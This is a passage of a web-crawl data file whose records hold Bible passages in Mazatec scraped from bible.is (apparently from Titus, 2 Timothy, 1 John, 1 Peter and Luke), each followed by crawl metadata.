mé‑ni nga ko̱kjiín‑la̱ a̱'ta 'tse̱ jñà xi̱ta̱ ra xá jè Nainá tsjahíjin‑ni, ti̱'koa̱ ske̱ ra kjo̱hixi̱ nga ko̱ma‑la̱ ske̱xkón Nainá. 2'Koa̱á 'sín ko̱ma tà nga̱tjì‑la̱ nga tjíjngo ikon nga i̱nchikoñá‑la̱ nga 'se̱‑la̱ kjo̱binachon inìma̱‑la̱ ni̱ta mé ni̱chjin‑nioo̱, koni 'sín ijye kitsjà tsa'ba Nainá skanda 'kia̱ nga ti̱kjè sinda i̱sà'nde. Nainá mì tsa 'én ndiso chja̱. 3'Kia̱ nga ijye ijchò ni̱chjin, Nainá ra bachrjekàjin‑ná kjo̱hi'in isikatsíjeén 'én‑la̱ a̱'ta 'tse̱ 'én nda‑la̱ Cristo ra ko̱'sín chjàya ko̱ 'koa̱á 'sín kitsjà kjo̱hixi̱ nga 'a̱n isìnga̱tsja‑na xá ra̱kìi̱. 4Ngaji̱, Tito, ra koni tsa i'ndí‑na̱ xin‑la nga ngásòn makjiín‑ná a̱'ta 'tse̱ Cristo, tísikásén‑la xa̱jo̱n jè. Nainá ra Na̱'ín‑ná ma ko̱ jè Jesucristo ra tíjna ítjòn‑ná katatsjá‑la kjo̱nda ko̱ kjo̱'nchán ya̱ a̱jin inìma̱‑li. 5Kií xá ya̱ isíkíjna‑la ján nangi Creta nga ji̱ si̱kixi̱yi xá ra chija'ta‑isa. 'Koa̱á ti̱'sín kítsja‑la kjo̱téxoma nga ki̱nchandi xi̱ta̱ jchínga ra si̱ìkinda̱ na̱xi̱ndá‑la̱ Nainá nga jngó jngó na̱xi̱ndá. 6Xi̱ta̱ jchínga ra si̱hitjasòn xá, jñá‑ní ra nda i̱nchisíjchá ijo‑la̱ nga mì tsa yá ra 'cho tsò‑la̱; ra jngo ma‑ni chjo̱ón‑la̱. Ko̱ jñà i̱xti‑la̱ machjeén‑ní nga nda katakjiín‑la̱ a̱'ta 'tse̱ Cristo. Mì kì nda tjín tsa yá ra ki̱tso̱‑la̱ nga kjoa̱ 'tse̱ i̱sà'ndeé tjímajin ko̱ nga mì ma‑la̱ 'nchréhijon. 7Jè xi̱ta̱ ra síkinda̱ na̱xi̱ndá‑la̱ Nainá ra xá‑la̱ Nainá síhitjasòn, machjeén‑ní nga nda 'si̱in, mé‑ni nga mì yá ra 'cho ki̱tso̱‑la̱. Mì kì tjínè‑la̱ nga 'nga ikon ko̱ma; mì kì tjínè‑la̱ nga taxki̱ ko̱jti‑la̱; nga xán ko̱hijtako̱; nga xi̱ta̱ ska̱jàn‑ko̱; ko̱ mì kì tjí'nde tsa to̱n chijé ko̱tsjake. 8Ta isa̱á ndaá katasísin‑la̱ xi̱ta̱ ra bijchójkon. Jé katamatsjake kjoa̱ ra nda tjín. Indakjoa̱ ká'té‑la̱ ikon. Kixi̱ katijnako̱ xi̱ta̱. Tsje katasíjchá ijo‑la̱ ya̱ ngixko̱n Nainá; nda katasíkinda̱ ijo‑la̱ nga mì taxki̱ 'si̱in. 9Nda kjón kátíjin ikon 'én kixi̱ koni 'sín ki'sena̱jmí‑la̱, mé‑ni nga ko̱ 'én nda ra bakón‑ya ko̱ma ki̱ì'tin‑ni xi̱ta̱ nga 'ñó ká'té‑la̱ ikon, ti̱'koa̱á ko̱ma si̱ikixi̱ya ra kondra̱ fì‑la̱ jè ra kjo̱hixi̱. 10Tà nga̱tjì‑la̱, tjín jchán xi̱ta̱ ra tájajín tjín inìma̱‑la̱ nga bakón‑ya 'én ra nìmé chjí‑la̱ ti̱'koa̱ konda̱cha̱‑la̱ xi̱ta̱ ra kj'ií; jñá kjón ra 'ñó bínè‑la̱ xi̱ta̱ ra kj'ií nga kjo̱'ñó si̱'ta chi̱ba̱ ijo‑la̱ kjoa̱ 'tse̱ circuncisión. 11Jñà xi̱ta̱ kìi̱ machjeén‑la̱ nga kíchja'a, nga̱ jñá sískáya‑la̱ nga'tsì xi̱ta̱ ra títsa̱jna nga jngó jngó ni'ya. Tà jé ra mejèn‑la̱ nga ta to̱n síchijé'ta‑la̱ xi̱ta̱ nga ko̱tjín 'én ra bakón‑ya‑la̱ ra nìmé chjí‑la̱. 12Jngo xi̱ta̱ chji̱ne̱ ra ti̱ya̱‑ni i̱'nde‑la̱ nangi Creta, 'koa̱á 'sín kitsò‑la̱ xi̱ta̱ xákjén: \"Jñà xi̱ta̱ Creta, xi̱ta̱ ndiso‑ní, xi̱ta̱ 'tse̱n‑ní koni tsa cho̱ ijñá, xi̱ta̱ chrjá'a‑ní, xi̱ta̱ 'tsé‑ní.\" 13'Én kixi̱í ra kiìchja̱ xi̱ta̱ ra̱kìi̱; ra ji̱ Tito, kií ko̱'sín tíxian‑la, 'ñó ti̱nákjoa̱ki̱i mé‑ni nga nda kítsa̱jna‑ni koni 'sín makjiín‑la̱ a̱'ta 'tse̱ Cristo, 14ko̱ mé‑ni nga mì jñà si̱ìsin‑la̱ kuendo̱ ra nìmé chjí‑la̱ ra fìtji̱ngi i'ka‑la̱ xi̱ta̱ judío. Ti̱'koa̱ mì jñà si̱ìsin‑la̱ kjo̱téxoma‑la̱ xi̱ta̱ ra mincha'taxìn‑la̱ ra kjo̱hixi̱. 15Jñà xi̱ta̱ ra tsje tjín kjo̱bítsjen‑la̱, tsjeé ma ijye‑la̱ ni̱ta mé‑nioo̱. Tanga jñà xi̱ta̱ ra mì kì tsje tjín kjo̱bítsjen‑la̱ ko̱ mì kì makjiín‑la̱ a̱'ta 'tse̱ Cristo, sabà tjé ma‑la̱ ni̱ta mé‑nioo̱; skanda tjé tjín‑te jè kjo̱bítsjen‑la̱ ko̱ inìma̱‑la̱. 16'Koa̱á 'sín tsò nga beé Nainá tanga jñà kjoa̱ ra 'sín, ya̱á bakón nga mì tsa kixi̱ kjoa̱. Xi̱ta̱ kìi̱, 'ñó 'cho 'sín, mì kì ma‑la̱ 'nchréhijon, ti̱'koa̱ nì mé chjí‑la̱, nga ni̱jngo ma‑la̱ síhitjasòn xá ra nda tjióo̱n.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASAV\/Titus\/1","date":"2017-08-22T04:10:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886109893.47\/warc\/CC-MAIN-20170822031111-20170822051111-00686.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":544,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.229,"stopwords_ratio":0.327,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"8Koií kjoa̱‑la̱ kì masobà‑lè nga nokjoàkoi̱i xi̱ta̱ i̱t'aà ts'e̱ Na̱'èn‑ná Jesucristo. Ti̱koa̱ kì masobà‑lè xi i̱t'aà ts'a̱n nga nda̱yá tíjna'ya koií kjoa̱‑la̱ nga ya̱ sìxát'aà‑la̱ Na̱'èn‑ná. Ti̱kjeiín‑ko̱‑ná kjo̱'in xi i̱t'aà ts'e̱ 'én ndaà‑la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Jè Nainá tsjá‑lè nga'ñó xi ko̱chjeén‑lè.\n2 Timoteo 1:8\nFREE!\nOne App.\n1253 Languages.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/2Tim\/1\/8","date":"2017-08-21T10:53:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886108264.79\/warc\/CC-MAIN-20170821095257-20170821115257-00235.warc.gz","language":"maa","language_score":1.0000056028,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000056028366089}","num_words":49,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.258,"stopwords_ratio":0.265,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2Jñò ndí 'ndsè xi matsjake̱‑nò, i̱'ndei̱ jyeé ki'ndí‑la̱ Nainá 'mì‑ná. Ta̱nga kj'eè tsà ndaà okó‑ná Nainá kó kjoàn ko̱maá nga ko̱ma i̱skan. Ta̱nga jyeé tíjiìn‑ná nga k'oa̱ ti̱ kjoàn ko̱maá koni kji jè Jesucristo k'e̱ nga ki̱jchò na̱chrjein nga jè xi kjoi̱í ìjngoò k'a‑ne; nga̱ k'oa̱á s'ín jcha̱xkoaán koni kji jè.\n1 Juan 3:2\nFREE!\nOne App.\n1253 Languages.","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/1John\/3\/2","date":"2017-08-21T18:17:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886109470.15\/warc\/CC-MAIN-20170821172333-20170821192333-00521.warc.gz","language":"maa","language_score":1.0000075102,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000075101852417}","num_words":56,"character_repetition_ratio":0.046,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.232,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Sìjét'aà‑la̱ jñà xi̱ta̱ jchínga xi xá ítjòn tjín‑la̱ nga ya̱ síxájiìn‑nò ya̱ na̱xa̱ndá‑la̱ Nainá. Ti̱koa̱á 'a̱n, xi̱ta̱ jchínga‑ná nga xá ítjòn tjín‑na koni jñà xi̱ta̱ koi; kìjtseè‑ná kjo̱'in xi kis'e‑la̱ Cristo; ti̱koa̱á s'e̱é‑na kjoa̱jeya xi i̱skan jcha̱‑la̱. 2Ti̱kinda̱a jñà xi̱ta̱‑la̱ Nainá xi jñò kjònga̱tsja koni tsà orrè; kì kjo̱'ñó 'nè‑là yijo‑nò; ko̱ó kjo̱ndaà‑nò nga ti̱kinda̱a koni s'ín mejèn‑la̱ Nainá. Mìtsà koií kjoa̱ nga tse to̱n si̱kijneè. Tà ko̱ó kjo̱tsja‑nò nga k'oa̱ t'e̱en. 3Kì yatoòn‑jèn jñà xi̱ta̱ xi jñò manga̱tsja koni tsà nei‑la̱ ma. Jñò ti̱ncha ítjòn‑là, ta̱kó‑la̱ ndi̱yá‑la̱ Nainá mé‑ne ko̱ma skíngui‑nò. 4Mé‑ne k'e̱ nga kjoi̱í ìjngoò k'a jè Paxtò ítjòn, tjoé‑nò kjoa̱jeya‑la̱ Nainá koni jngoò corona xi mìkiì fehejno ote‑la̱ ni̱ta̱ kjé‑ne. 5Ti̱koa̱ jñò xi i̱xti xo̱ngó 'mì‑nò, ti̱kitasòn‑là jñà xi̱ta̱ jchínga xi otíxoma ya̱ i̱jiìn na̱xa̱ndá‑la̱ Nainá. Ngats'ioò, indaàkjoa̱ tanguíko̱o xinguio̱o, nga: Jè Nainá kondra̱á tíjna‑la̱ jñà xi̱ta̱ xi 'nga ikon; koa̱ jñà xi̱ta̱ xi indaàkjoa̱ tjín ini̱ma̱‑la̱, tsjá‑la̱ kjo̱ndaà. 6Nangui titsa̱jna‑là Nainá nga tse nga'ñó tjín‑la̱ koni s'ín síko̱‑nò, mé‑ne k'e̱ nga ki̱jchò na̱chrjein jè Nainá 'nga si̱ìkítsa̱jna‑nò. 7Tsja Nainá ti̱kítsa̱jnaya ngats'iì kjoa̱ xi makájno‑nò nga jè tísíkinda̱‑nò. 8Ti̱kinda̱a yijo‑nò, kjit'aà na̱chrjein titsa̱jnandaà, nga jè xi̱ta̱ nei̱í xi kondra̱‑nò, k'oa̱á s'ín tsóbandiì‑nò k'oa̱á ngaya‑la̱ koni jngoò xa xi tíkjindáya nga 'ñó ijò‑la̱, nga tíhótsji yá xi ski̱ne̱. 9Nga ndaà mokjeiín‑nò, 'ñó ti̱ncha‑là xi̱ta̱ nei̱í. Nga jyeé tíjiìn‑nò nga jñà xi̱ta̱ xinguio̱o xi títsa̱jna nga tíjtsa i̱sò'nde, ti̱koa̱á k'oa̱á tjín kjo̱'in xi nchisíkjeiín. 10K'e̱ nga jye ko̱to chiba na̱chrjein nga titsa̱nìkjioón kjo̱'in, jè sobà Nainá si̱ìndaàya‑nò, si̱ìkíjnandaà‑nò, tsjá‑nò nga'ñó, ko̱ kixi̱ si̱ìkítsa̱jna‑nò. Ti̱jé‑ne Nainá xi ko̱ kjoa̱tjòcha‑la̱ kiìchja̱‑ná nga s'e̱‑ná kjoa̱jeya‑la̱ ni̱ta̱ kjé‑ne nga Jesucristo titsa̱jnakoa̱á. 11Ts'e̱é Nainá ngats'iì nga'ñó xi tjín skanda ni̱ta̱ kjé‑ne. K'oa̱s'ín kàtama. 12Silvano, xi 'ndsè xan‑la̱, nga kixi̱ tjín xá‑la̱, jè kisìchját'aà‑na nga kiskiì‑nò xo̱jo̱n carta jè. K'oa̱á s'ín tìbìnè‑nò ko̱ tìsìkixi̱ya‑nò nga ngats'iì 'én xi tìsìkasén‑nò, nguì k'oa̱á s'ín tjín kjo̱ndaà‑la̱ Nainá. Kixi̱ titsa̱jnako̱o kjo̱ndaà koi. 13Nchisíhixat'aà‑nò jñà xi̱ta̱ na̱xa̱ndá‑la̱ Cristo xi i̱ títsa̱jna Babilonia xi xó ta̱ña kitjaàjiìn‑nò. Ko̱ jè Marcos xi ki'ndí‑na̱ xan‑la̱ i̱t'aà ts'e̱ Cristo, ti̱koa̱á tísíhixat'aà‑nò. 14Ti̱ixot'aà xinguio̱o nga nguì ko̱ ini̱ma̱‑nò. Kàtas'e‑la̱ kjoa̱'nchán i̱jiìn ini̱ma̱‑nò ngats'ioò xi ya̱ nokjoà‑nò i̱t'aà ts'e̱ Cristo. K'oa̱s'ín kàtama.\nCopyrighted Material","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/www.bible.is\/MAASJV\/1Pet\/5","date":"2017-08-22T22:50:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886116921.7\/warc\/CC-MAIN-20170822221214-20170823001214-00574.warc.gz","language":"maa","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"maa_Latn_score\": 1.0000085830688477}","num_words":359,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'e̱ nga komà i̱skan, Jesús, kjìn na̱xa̱ndá tsajmeè, ko̱ rancho̱, nga kiìchja̱ya ko̱ kisìka'bí 'én ndaà‑la̱ Nainá koni s'ín otíxoma Nainá. Tji̱ko̱ xi̱ta̱‑la̱ xi tejò ma‑ne. 2Ti̱koa̱á tji̱ko̱ i'nga íchjín xi jye kjòndaà‑ne ch'in nei̱í‑la̱ ko̱ xi kj'ei̱í ch'in. Ya̱á tji̱ko̱ María jè xi Magdalena 'mì, xi itoò ini̱ma̱ ch'o‑la̱ nei̱í itjojiìn yijo‑la̱; 3tji̱ko̱ Juana, chjo̱ón‑la̱ Chuza xi síkinda̱ tsojmì‑la̱ xi̱ta̱xá ítjòn xi 'mì Herodes; ti̱koa̱á tji̱ko̱ xi 'mì Susana koa̱ kjìn‑ìsa íchjín tji̱ko̱ xi síchját'aà‑la̱ mé tsojmì xi tjín‑la̱. 4K'e̱ nga jye kòkjìn xi̱ta̱ xi xki̱ xi ján na̱xa̱ndá j'iì‑ne, Jesús, tsibéno̱jmí‑la̱ kjoa̱ xi mangásòn. Kitsò‑la̱: 5―Jngoò xi̱ta̱ xi kiì kíjndi̱ xojmá. K'e̱ nga tsibíts'ia̱ nga kiskíjndi̱ xojmá, chixò chiba ya̱ i̱ya ndi̱yá. Koa̱ chinchanè xi̱ta̱ koa̱ jñà ni̱se tsakjèn. 6Nguì k'oa̱ tjín chixòsòn ya̱ ñánda na̱xi̱ choòn, ta̱nga k'e̱ nga isò xojmá, ni̱to̱ón kixì nga mìkiì 'nchi̱'nde nangui. 7Nguì k'oa̱ tjín chixò ya̱ i̱jiìn na'yá; ya̱á ta̱ña isòkjoò; k'e̱ nga kjò'nga na'yá, kisìk'en‑ngui xka̱‑la̱ xojmá. 8Nguì k'oa̱ tjín chixò ñánda nangui ndaà; isò, kjò'nga, koa̱ tsajà‑la̱ toò; kitsjaà jngoò sìndo̱ nga jngoò ìjngoò. Jesús k'e̱ nga jye tsibéno̱jmí kjoa̱ koi, 'ñó kiìchja̱, kitsò: ―¡Ndaà ti̱ná'yaà koni xan‑nò! 9Jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús kiskònangui‑la̱ kó tsòya‑ne jè kjoa̱ xi mangásòn xi tsibéno̱jmí‑la̱ xi̱ta̱. 10Jesús kitsò: ―Jñò, Nainá jye kitsjaà‑nò nga jcha̱a kjoa̱'ma‑la̱ xi béno̱jmíya kó s'ín otíxoma Nainá; ta̱nga jñà xi̱ta̱ xi kj'ei̱í, tà kjoa̱ xi mangásòn s'e̱no̱jmí‑la̱, mé‑ne nga mìkiì skoe̱‑ne xi kjoa̱ kixi̱ na̱s'ín skótsejèn, mìkiì ko̱chi̱ya‑la̱ na̱s'ín nchi'nchré. 11'Jè kjoa̱ xi mangásòn ts'e̱ xojmá, kií tsòyaá‑ne: Jñà xojmá, jè 'én‑la̱ Nainá. 12Jñà xojmá xi chixò i̱ya ndi̱yá, jñà ngaya‑la̱ xi̱ta̱ xi 'nchré 'én‑la̱ Nainá, i̱kjoàn f'iì xi̱ta̱ nei̱í, faáxìn jè 'én i̱jiìn ini̱ma̱‑la̱ mé‑ne nga mìkiì ko̱kjeiín‑la̱ koa̱ mìkiì ki̱tjojiìn kjo̱'in ini̱ma̱‑la̱. 13Jñà xojmá xi chixòsòn na̱xi̱, jñà ngaya‑la̱ xi̱ta̱ xi 'nchré 'én‑la̱ Nainá, k'e̱ nga tàts'en‑la̱ kjoa̱ tsjaá ma‑la̱ nga mokjeiín‑la̱, ta̱nga tsjìn‑la̱ i̱'ma̱; tà chibaá na̱chrjein mokjeiín‑la̱; k'e̱ nga mé kjoa̱ xi sakó‑la̱, ni̱to̱ón síkíjna‑ne. 14Jñà xojmá xi chixò i̱jiìn na'yá, jñà ngaya‑la̱ xi̱ta̱ xi 'nchré 'én‑la̱ Nainá; k'e̱ nga jye tjímaya ndi̱yá‑la̱ Nainá, bíts'ia̱ nga síkájno‑la̱ yijo‑la̱, ótsji xi kjoa̱ nchi̱ná ko̱ xi kjoa̱ kjo̱tsja. Jñà kjoa̱ koi xi tjín i̱sò'nde bíchjoà‑ikòn‑la̱ nga mìkiì makixi̱ nga ojà‑la̱ toò. 15Jñà xojmá xi chixò ñánda nangui ndaà, jñà ngaya‑la̱ xi̱ta̱ xi ndaà tjín ko̱ xi kixi̱ tjín ini̱ma̱‑la̱; 'nchré 'én‑la̱ Nainá ti̱koa̱ bíjiìn‑ikon 'én xi 'nchré; ndaà bincha kixi̱ skanda k'e̱ nga ndaà makjìn‑ya jñà 'én. 16'Tsjìn xi̱ta̱ xi oká ni'ín, i̱kjoàn bíjtsa'ma, o xi ya̱ síkíjnangui na̱chan; jngoò ni'ín xi tì, sijna 'nga‑né; ya̱á sijnaya candelero mé‑ne nga ko̱hiseèn‑la̱ jñà xi̱ta̱ xi kjoa̱has'en ni'ya. 17Ni̱mé kjoa̱ tjín xi tjí'ma i̱'ndei̱ xi mìkiì ko̱tsejèn nga ko̱ma i̱skan; ti̱koa̱á tsjìn kjoa̱ xi tjí'ma i̱'ndei̱ xi mìkiì jcha̱‑la̱. Ngats'iì kjoa̱ skoe̱xkon yije xi̱ta̱. 18'T'e̱en kinda̱ kjo̱hítsjeèn‑nò k'e̱ nga ki̱ná'ya 'én‑la̱ Nainá. Ndaà ti̱ná'yaà. Nga̱ jè xi tjín‑la̱ kjo̱hítsjeèn k'oi̱í ìsa̱‑la̱; ta̱nga jè xi tsjìn‑la̱, skanda tjá'aán‑la̱ mé xi k'oa̱s'ín síkítsjeèn nga tjín‑la̱. 19Nea̱‑la̱ ko̱ 'ndse̱ kiìkon ñánda tíjna Jesús. Ta̱nga mìkiì komà ijchò skanda ñánda tíjna nga 'ñó kjìn ma‑ne xi̱ta̱ xi títsa̱jna. 20Jesús kis'eno̱jmí‑la̱, kitsò‑la̱: ―Nea̱‑lè ko̱ jñà 'ndsì, ján ndi̱tsiaán títsa̱jna, mejèn xó‑la̱ nga skótsejèn‑lè. 21Kiìchja̱ Jesús, kitsò: ―Xi nea̱‑na̱ ko̱ xi 'ndsè xan‑la̱, jñà‑né xi 'nchré 'én‑la̱ Nainá, ti̱koa̱ síkitasòn. 22Jngoò na̱chrjein, Jesús ko̱ xi̱ta̱ xi kota'yàt'aà‑la̱ jahas'en jngoò chitso, kitsò Jesús: ―Tíkjiaán, ki̱tjájtoaá ján xijngoaà ndáchikon. I̱kjoàn kiì. 23Ta̱nga k'e̱ nga kiìsòndá chitso, Jesús tsohojnafè‑né. I̱kjoàn kjòts'ia̱ nga j'iì tjo̱xkón ya̱ i̱jiìn ndáchikon. Jyeé tífahas'en nandá chitso; xkón tjín tsà ya̱ ska̱jiìn‑ndá. 24Jñà xi̱ta̱‑la̱ k'e̱é kiìkon nga kisìkjaá‑la̱ Jesús; kitsò‑la̱: ―¡Maestro! ¡Maestro! ¡Chitso, jye tíkaànguindá! Jyeé‑la ki̱yá. Jaá‑la̱ Jesús; i̱kjoàn tsohótiko̱ tjo̱xkón ko̱ ndáchikon, ni̱to̱ón kisijyò‑ne, kjòndaàya‑ne. 25Jesús kitsò: ―¿Mé‑ne mìkiì mokjeiín‑nò i̱t'aà ts'e̱ Nainá? Jñà xi̱ta̱‑la̱ tà kitsakjòn‑né. Tà kjòxkón‑la̱. Kitsò‑la̱ xíkjín: ―¿Yá xi̱ta̱‑ne jè nga chja̱‑la̱ tjo̱ ko̱ nandá koa̱ síkitasòn‑la̱? 26I̱kjoàn ijchò ya̱ nangui‑la̱ xi̱ta̱ Gadareno xi kijna xijngoaà ndáchikon ts'e̱ Galilea. 27K'e̱ nga itjojen chitso, Jesús, ijchò kasìt'aà jngoò‑la̱ xi̱ta̱ x'i̱n xi ya̱ i̱'nde‑la̱ na̱xa̱ndá Gadara. 'Ñó kjòtseé tíjiìn yijo‑la̱ ini̱ma̱ ch'o‑la̱ nei̱í; mìtsà nikje ókjá, koa̱ mì ni'ya tjín‑la̱; ya̱á xó bìjnaya nga̱jo̱‑la̱ mik'en. 28Xi̱ta̱ jè, k'e̱ nga kijtseè Jesús, 'ñó kiskindàyat'aà‑la̱ koa̱ tsasèn‑xkó'nchit'aà‑la̱; i̱kjoàn 'ñó kiìchja̱, kitsò: ―Jesús, ngaji̱ xi Ki'ndí‑la̱ Nainá 'mì‑lè xi 'ñó 'nga tíjna, ¿mé xi mejèn‑lè ko̱ 'a̱n? ¡Bìtsi'bà‑lè, kì yatoòn‑ná! 29Koií o̱kitsò‑ne, nga jè Jesús, jyeé ko̱s'ín tsatíxoma‑la̱ jè ini̱ma̱ ch'o‑la̱ nei̱í nga kàtitjojiìn yijo‑la̱ xi̱ta̱ jè. Jyeé kjòtseé ko̱s'ín tíjiìn yijo‑la̱ nga biyaàxín; na̱s'ín na'ñó ki̱cha̱ cadena sit'aà'ñó ndso̱ko̱ ko̱ tsja, chíkjoa̱á‑la̱ nga otejtso, i̱kjoàn fìko̱ jè ini̱ma̱ ch'o‑la̱ nei̱í ya̱ nangui kixì ñánda tsjìn xi̱ta̱. 30Jesús kiskònangui‑la̱, kitsò‑la̱: ―¿Kó 'mì‑lè? Xi̱ta̱ jè kitsò: ―Legión 'mì‑na. Koií ko̱'mì‑ne nga 'ñó kjìn ini̱ma̱ ch'o‑la̱ nei̱í tíjiìn yijo‑la̱. 31Jñà ini̱ma̱ ch'o‑la̱ nei̱í tsibítsi'ba‑la̱ Jesús nga mì ya̱á si̱ìkatsjoya ni̱tja̱n‑la̱ nei̱í ñánda tjín kjo̱'in. 32Ya̱ i̱t'aà nindoò, 'ñó kjìn ma chi̱nga̱ xi nchikjèn‑jno i̱jiìn ijñá. Jñà ini̱ma̱ ch'o‑la̱ nei̱í, tsibítsi'ba‑la̱ Jesús nga tsjá'nde‑la̱ nga ya̱ kjoa̱has'en‑jiìn yijo‑la̱ chi̱nga̱. Jesús, kitsjaà'nde‑la̱. 33Jñà ini̱ma̱ ch'o‑la̱ nei̱í, nga jye itjojiìn yijo‑la̱ xi̱ta̱ jè, i̱kjoàn jahas'en‑jiìn yijo‑la̱ jñà chi̱nga̱. I̱kjoàn jñà chi̱nga̱ tsatíkjájen‑jno ya̱ na̱xi̱ skanda i̱jiìn nandá; ya̱á k'en‑jiìn nandá ngats'iì jñà chi̱nga̱. 34Jñà xi̱ta̱ xi nchikondà chi̱nga̱, k'e̱ nga kijtseè kjoa̱ xi komà, tsangachikon nga kisìkí'nchré na̱xa̱ndá kóho̱kji ñánda rancho̱. 35Jñà xi̱ta̱ na̱xa̱ndá, k'e̱ nga kiì'nchré, itjo katsejèn jñà kjoa̱ xi komà. Kiì ñánda tíjna Jesús. Ti̱koa̱ ya̱ tíjnat'aà ndso̱ko̱ Jesús jè xi̱ta̱ xi jye itjojiìn‑ne yijo‑la̱ jñà ini̱ma̱ ch'o‑la̱ nei̱í. Jyeé íkjá‑ne nikje‑la̱, ti̱koa̱á jyeé ndaà tjín‑ne kjo̱hítsjeèn‑la̱. Jñà xi̱ta̱ k'e̱ nga kijtseèxkon, tà kitsakjòn‑la̱. 36Jñà xi̱ta̱ xi kijtseè kjoa̱ koi, tsibéno̱jmí‑la̱ xíkjín kó s'ín komà nga kjòndaà‑ne jè xi̱ta̱ xi ini̱ma̱ ch'o‑la̱ nei̱í kisijiìn yijo‑la̱. 37Ngats'iì xi̱ta̱ xi títsa̱jna ya̱ nangui‑la̱ xi̱ta̱ Gadareno, kóho̱kji jngoò itjandiì, tsibítsi'ba‑la̱ Jesús nga kàtjì‑ne, koií kjoa̱‑la̱ nga 'ñó kitsakjòn xi̱ta̱ koi. Jesús jahas'en‑ne chitso, i̱kjoàn kiì‑ne. 38Jè xi̱ta̱ xi jye itjokàjiìn‑ne yijo‑la̱ ini̱ma̱ ch'o‑la̱ nei̱í tsibítsi'ba‑la̱ Jesús nga mejèn‑la̱ nga ya̱ ko̱jmeiìko̱; ta̱nga jè Jesús kitsjaà‑la̱ o̱kixi̱ nga kàtìjna; kitsò‑la̱: 39―T'in‑ne ni'ya‑lè, tèno̱jmí yije‑la̱ xi̱ta̱ nga 'ñó tse kjoa̱ kàsíko̱‑lè Nainá. Xi̱ta̱ jè, kiì‑ne; i̱kjoàn tsibíts'ia̱ nga tsibéno̱jmí, kisìhingasòn 'én kóho̱kji na̱xa̱ndá jè nga 'ñó tse kjoa̱ kisìko̱ Jesús xi i̱t'aà ts'e̱. 40K'e̱ nga jye j'iì ìjngoò k'a‑ne Jesús ján xijngoaà ndáchikon, kjòtsjaá‑la̱ jñà xi̱ta̱ xi kjìn ma‑ne, koií kjoa̱‑la̱ nga ngats'iì, nchikoña‑la̱. 41J'iìkon jngoò xi̱ta̱ sko̱‑la̱ xi ts'e̱ ni'ya i̱ngo̱ sinagoga xi 'mì Jairo; tsasèn‑xkó'nchit'aà ndso̱ko̱ Jesús, tsibítsi'ba‑la̱ nga mejèn‑la̱ kji̱ko̱ ni'ya‑la̱. 42Koií xá j'iìkjaá‑ne nga jye tíbiyaà ndí tsòti‑la̱ xi ta̱jngoò ma‑ne xi tejò nó tjín‑la̱. Jesús, k'e̱ nga tífì, jñà xi̱ta̱ nga kjìn ma‑ne, chi̱ba̱‑la̱ tsohó'nchò'ñó‑né. 43Ya̱ tsóhojiìn jngoò chjo̱ón xi jye kjò tejò nó tjín‑la̱ ch'in jní. Jye kjò tse to̱n ko̱ tsojmì xi tjín‑la̱ kisìkjeheya xi kjoa̱ ts'e̱ chji̱ne̱xkiì; mìkiì mandaà‑ne ni̱ta̱ yá xi síxkiì‑la̱. 44Chjo̱ón jè, kiì kasìt'aà chrañà‑la̱ Jesús ya̱ i̱jto̱n íts'i̱n nga kitsobà'ñó i̱tjòn nikje‑la̱, koa̱ jè jní xi tíxíxteèn‑la̱, ni̱to̱ón kisijyò‑ne. 45K'e̱é kiskònangui Jesús, kitsò: ―¿Yá‑né xi kàtsobà‑na? Ngats'iì xi̱ta̱ kitsò: ―Mìtsà yá‑jèn. K'e̱é kitsò Pedro ko̱ xi̱ta̱ xi i'nga: ―Maestro, jñà xi̱ta̱ nga kjìn ma‑ne fàhitje̱n‑lè koa̱ ó'nchò'ñó‑lè, ngaji̱ si‑né: \"¿Yá‑né xi kàtsobà‑na?\" 46Jesús kitsò ìjngoò k'a: ―Tjín xi kàtsobà‑na; kàbeéyaá‑na nga kòbitjojiìn nga'ñó yijo‑na̱. 47Jè chjo̱ón, k'e̱ nga kijtseè nga mìkiì ko̱ma kójna'ma nga ki'yat'in‑la̱, chi̱ba̱‑la̱ tíhotsé yijo‑la̱ nga tsasèn‑xkó'nchit'aà‑la̱ Jesús. Tsibéno̱jmí‑la̱ nga nguixko̱n ngats'iì xi̱ta̱ na̱xa̱ndá mé kjoa̱‑ne nga nikje‑la̱ Jesús kitsobà‑ne, koa̱ kó s'ín nga ni̱to̱n kjòndaà‑ne ch'in‑la̱. 48Jesús kitsò‑la̱: ―Ndí nea̱a, koi‑né nga mokjeiín‑lè i̱t'aà ts'a̱n nga kòmandaà‑ne. T'in‑là ndaà‑ne. 49Tákó ti̱k'e̱é tíchja̱‑ìsa Jesús nga j'iì jngoò xi̱ta̱ xi 